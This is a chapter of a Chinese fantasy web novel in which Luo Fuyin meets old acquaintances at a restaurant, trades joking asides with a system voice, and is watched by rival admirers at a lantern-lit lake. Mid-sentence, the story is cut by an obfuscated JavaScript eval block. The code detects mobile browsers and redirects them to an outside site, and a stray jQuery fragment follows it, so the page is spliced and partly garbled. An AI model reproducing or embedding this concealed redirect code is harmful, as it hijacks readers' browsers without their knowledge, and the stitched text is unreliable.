47. 第47章

作品:《整个世界只有我性转了

    洛长苏将洛扶殷二人带到了群英楼,令洛扶殷想不到的是,包厢里早已经有二人等候多时。


    甫一看到那两张脸,饶是洛扶殷,也不禁觉得心绪复杂。


    洛长苏这是算计好了要把她带坑里吧?!


    少年在心里深深地叹了口气。


    她匆匆看了眼那两位风姿各异的青年后,便将目光转到了博古架上横斜入净瓶的玉梅——很难想象酒楼的包厢里还会放置博古架,更不用说上面摆设的物什皆非凡品。


    迟盛欢也觉得有些惊讶。


    他记得洛长苏明明说是带了久失音讯的堂弟过来,没想现在一看竟是这么个熟人。


    琴公子是他,隐族人也是他......迟盛欢突然间好奇起这位少年究竟是个怎样的角色了。


    萧栖泽对此感触倒是不大,第一感觉便是这少年实在是瘦削苍白了些,且脚步沉浊,指间仅有常年握笔才造成的茧,一看就是个文弱不堪的人,也不知洛长苏到底为何如此看重他。


    “没想到我们又见面。”


    迟盛欢温和地笑了笑,与平时对待其他人的态度有些不同,倒是惹得洛长苏和萧栖泽予以侧目。


    “迟公子。”


    洛扶殷作了一揖:“四年前多谢公子对在下和焱九的帮助。”她不知道她和鄯善殿主大婚前,这位迟公子曾经和那位封隆院的首席潜入过她被囚禁的院子里。


    所以,她如今的反应,恰恰在迟盛欢的意料之中,并且他也不打算把这人的身份告知另外两人。


    ——事情真是越来越有意思了。


    迟盛欢这次打算坐在一旁看好戏。


    洛长苏眯起了眼睛,等到再度睁眼时,眸中划过了一丝暗芒。理智告诉他,迟盛欢肯定知道些什么,只是对象是他的这位堂弟还是那个叫焱九的异族高手就不好说了。


    狐焱全程保持沉默,在入座的那一刻,他还忍不住看了一眼洛扶殷,暗道这些老熟人今日怎么都聚到了一起?光从现场来看,除了洛扶殷以外,在场的一个个都是那些狗逼们的转世,当真是让狐——厌恶至极!


    狐焱的心里不禁冷笑。


    一时间,包间内的气氛渐渐地凝滞了下来。


    洛扶殷倒是面不改色,冷静地起了个话头:“诸位公子安好,在下扶殷,小名檀生,家中排行第七,唤我洛七便可。”


    “我身旁的这位朋友来自北疆异族,姓焱,族中行九,诸位称呼他焱九即是。”


    洛扶殷?焱九?


    萧栖泽皱了皱眉头,却没有说什么。


    北疆异族众多,且各部族姓氏五花八门,实在是不好判断这焱九到底来自哪一支氏族。反而是这洛扶殷,四年前本该见他一面,不曾想这小子跑得比兔子还快,等到他再要找人时候,有关这人的消息早已石沉大海。


    哪怕他后来的确在魔道联盟的悬赏上看到过孤月城发布的消息,然而要在这片大陆上找一个行踪不定的人,简直犹如大海捞针,得不偿失。


    殷情真是好算计!


    不过他也没吃亏就是了。


    萧栖泽一想到当时和他斡旋的不是楼朔月,也不是闻人摇戈,而是南浔后,便知道事情并不怎么乐观。就算之后揪出了他那野心勃勃的弟弟,也不能改变什么。


    渝州沧氏在这一点上撇得一干二净,连一星半点的马脚都未曾留下,当真是不好让人找借口从他们身上剥下一层皮来。


    因此事情又回到了原点――


    其一,商人的确死于仇杀,派遣商人运送崇明令的是沧氏,唆使商人仇家杀人取令却是庞明月。


    其二,他高看了庞明月这个女人,原本打算暗度陈仓,却因为庞明月急于求成而打草惊蛇,让沧氏那两兄弟提前毁掉了所有的证据。


    其三,也是最关键的一点,他的确有意向和袖星楼背后的孤月城合作,却并非是在受制于人的情况下,洛扶殷这厮的人间蒸发又坏了计划。


    在这三点的制约下,一步错,步步错。好在当时殷情正陷于夺嫡之争中,仅仅问了个消息就同意合作,对他来说也不算坏事。


    但意外的因素实在太多,对于完美主义至上的萧栖泽来说,完全不能让人满意,犹如一根梗在他喉咙上的鱼刺,让他这些年来浑身不得劲。


    如今见到了正主之一,不磋磨一下简直对不起自己四年来的挠心挠肺!


    萧栖泽在听完洛扶殷的自我介绍后就渐渐沉下了脸色,就连浑身的气势变得恐怖了起来,愣是让整个房间内的气温都下降了几度。


    洛扶殷暗自咋舌:“话说回来,萧栖泽这么记仇的吗?”


    “大概完美主义吧?”12138幽幽道,“殷情吹毛求疵,萧栖泽完美主义,我觉得这两人绝配啊!”


    “啧,还真的这是这样。”洛扶殷心底轻笑了一声,“干脆他们两个组合出道好了,名字我都想好了。”


    “什么?”


    “Findingfaultwithalike-mindedfriend,和一个志同道合的朋友一起找碴,简称FFF顶级男团,我觉得按照两个人在广大女性同胞里的吃香程度,一定会火的!”


    12138:“……”神他妈3F团,那玩意儿的宗旨不是烧死一切异性恋吗?


    “不,”12138煞有其事继续道,“他们现在不是已经有团了吗?我觉得不能拆。”


    “啥?”洛扶殷一时间反应不过来。


    12138疯狂暗示:“就是岳华F4和神童鬼才二人组啊!”


    洛扶殷:“……”讲道理,神童鬼才二人转我能理解,可岳华F4怎么回事?你怕不是抄袭了《流星O园》吧?


    出于12138的脑洞,洛扶殷试想了一下F4出场的场面,然后把人换成萧栖泽、洛长苏、迟盛欢和紫辰麟风。这四个人踩着六亲不认的步伐,一路过去风靡万千少女无数……


    洛扶殷陷入了迷之沉默中。


    额……总感觉这就是紫辰麟风风评被害的现场。


    紫辰麟风就是个老实的战斗狂,他为什么要承受这种他这个年纪不该承受的痛苦啊???


    *


    这一顿饭吃的所有人都不尽兴,唯有洛扶殷心情愉悦。


    狐焱是因为见到了老仇家而心情不爽利;洛长苏则暗自纠结着迟盛欢的态度到底是什么意思;萧栖泽就更简单了,单纯只是看洛扶殷不爽;至于迟盛欢,完全是因为没有看到好戏而倍感遗憾。


    五个人,五种心情,唯有洛扶殷才是全场最佳。


    黄昏已临,夜色渐深。


    群英楼外的湘湖上愈发的热闹起来,成双成对的少年少女们走至湘湖边,手捧着莲灯,轻轻的放入湖中。


    一时间,月色与水色,星辰与灯火,以及湖中央


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858617|159406||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    点水而舞的少女们,共同构成了一幅言语难以形容的唯美画卷。


    “真美啊!”


    洛扶殷站在石拱桥上,靠着桥上的石狮子,清澈的眼中倒映出了星光与灯光,看上去整个人的气息都柔和了许多。


    狐焱站在她的身后,微微一低头就能看见她线条流畅的侧脸。


    少年的睫毛浓密纤长,垂落时恰好遮住了眼睛里的神采,使得那盛满星河的凤眼里又多了一种朦胧的柔和感。


    洛扶殷的美并不肆意张扬,而是内敛又干净的那种,让人待在她的身边,只觉得时间都安静了下来。


    没有杀戮,没有喧嚣,也没有算计。


    唯有此时、此景和此人,才是心中所向。


    狐焱是如此,不远处藏在垂柳阴影里的人亦是如此。


    “我稍微有点理解你的感受了,”青年轻笑了一声,大拇指摩挲着伞柄,“他很特别。”


    “可惜与我无关。”


    另一名戴着面具的青年手里拿着一盏莲灯,似是想要点燃放入湖中,却终究还是蹲下身子将其靠在了垂柳边。


    “就这样也挺好的,我对于他来说总归是个异类。”


    “怎么?第一杀手的弯刀杀得了人,却斩不了情丝吗?”迟盛欢收敛了笑意,眸色渐深,“这么特别的人,错过了就不会再有下一个啊……”


    “别把你的心思打到他的身上。”


    面具青年冷哼了一声,眸光如刀。


    “要达成你和萧栖泽的谋算,谁都可以,唯有他不行!”


    “谁都可以?”温柔又神秘的青年凑近了修刹陆,嘴角上扬,却有种近乎危险的张力,“凭什么!”


    “就凭萧栖泽是‘蛊王’,而你是‘蛇王’――生来污秽的东西怎么能染指明月?”


    “那你又算什么?”迟盛欢露出了讽刺的神情,“不过是一条在路边祈求垂怜的肮脏野狗罢了。”


    “或许。”


    修刹陆的声音里满是不在乎。


    “如果我是野狗,那么我希望他是我的绳子――最好在我杀红眼的时候拉我一把,为此,我愿意把我所拥有的全部都奉献给他。”


    “一物换一物,很公平,不是吗?”


    青年没有再说话,缓缓地闭上了眼睛……


    “你受伤了,需要治疗吗?我好歹医术还算不错。”


    “真奇怪,你不脱衣服,我怎么给你包扎止血?”


    “为什么要害怕?死亡不是必然要来临的事吗?区别只是早晚而已。”


    “啊,你没必要报答我的,医生的天职难道不是救死扶伤吗?”


    “我觉得会知恩图报的人都不算坏到彻底,你杀人如麻跟我救人也没什么冲突啊。”


    “喂,别睡,睡过去就再也醒不来了!”


    ……


    三天三夜,整整三十六个时辰,不擅长不算短,他却觉得快要用尽一辈子去感受那样的温柔。


    他的出生源于母亲的憎恶,唯一的价值就是被当作附属品稳定她的地位。


    没有一个人单纯地希望他活着,也从来没有人教过他该怎么活。他可以是毫无感情的刀,也可是制作精良的花瓶,却绝对不能被允许拥有自己的意志。


    长期被压制的人呐,一旦脱离束缚,就会对之前强制禁锢自己的人们进行疯狂报复,直到有一天血流成河、生灵涂炭――